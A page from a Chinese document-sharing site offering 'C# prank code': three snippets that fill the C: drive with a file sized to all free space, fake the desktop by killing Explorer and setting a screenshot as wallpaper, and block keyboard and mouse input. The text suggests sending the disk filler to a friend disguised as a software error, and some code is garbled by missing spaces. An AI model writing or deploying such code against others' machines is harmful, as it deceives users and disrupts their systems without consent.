【#文档大全网# 导语】以下是®文档大全网的小编为您整理的《C#恶搞代码》,欢迎阅读!
1,一键填满C盘 命名空间
using System.IO;
FileStreamfs = new FileStream("C:\\1.txt", FileMode.OpenOrCreate);
fs.SetLength(System.IO.DriveInfo.GetDrives()[0].TotalFreeSpace-1024*1024); fs.Close();
命名一下空间就直接复制代码OK 当然你可以一窗体模式发给你的朋友然后说软件出错了 他会突然发下C盘红了
2,可以先把当前的桌面截图,然后结束掉EXPLORER进程,接着再把之前截的桌面图作为桌面背景放上去,如此一来,用户以为桌面没变,其实那些东西只是一张背景图而已,同时鼠标也是看不见的,不过快捷键打开任务管理器还是可以,所以得先屏蔽一下
下面是代码
[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")] public static extern intSystemParametersInfo( intuAction, intuParam,
string lpvParam, intfuWinIni );
/// /// 设置背景图片 ///
/// 图片路径 private void SetDestPicture(string picture) {
if (File.Exists(picture)) {
if (Path.GetExtension(picture).ToLower() != "bmp") {
// 其它格式文件先转换为bmp再设置 string tempFile = @"D:\test.bmp";
Image image = Image.FromFile(picture);
image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp); picture = tempFile; }
SystemParametersInfo(20, 0, picture, 0x2); } }
3,这个事阻止用户输入我也发一个,阻止用户输入 ,不过按Ctrl+Alt++del就可解除。 C# code;
// true阻止输入,false解除阻止输入 [DllImport("User32.dll")]
public static extern boolBlockInput(bool enabled);
本文来源:https://www.wddqxz.cn/2c09a3d67c1cfad6185fa704.html